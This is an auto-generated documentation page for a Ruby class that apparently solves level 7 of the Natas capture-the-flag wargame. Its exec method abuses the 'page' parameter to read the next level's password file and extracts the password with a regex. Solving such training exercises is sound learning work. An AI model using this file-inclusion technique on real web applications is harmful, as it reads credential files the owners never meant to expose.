Class: NatasLevel7

Inherits:
NatasLevelBase show all
Defined in:
lib/natas.rb

Overview

Level 7

Constant Summary collapse

LEVEL =
7

Constants inherited from NatasLevelBase

NatasLevelBase::HOST, NatasLevelBase::LOGIN, NatasLevelBase::PASSWORD_LENGTH, NatasLevelBase::PORT, NatasLevelBase::WEBPASS

Instance Attribute Summary

Attributes inherited from NatasLevelBase

#login, #password

Instance Method Summary collapse

Methods inherited from NatasLevelBase

#get, #initialize, #level, #post

Constructor Details

This class inherits a constructor from NatasLevelBase

Instance Method Details

#execObject



261
262
263
264
265
266
# File 'lib/natas.rb', line 261

def exec
  data = get("/?page=#{WEBPASS}/natas8").body
  match = /<br>\n(\w{32})\n\n<!--/.match(data)
  not_found unless match
  found(match[1])
end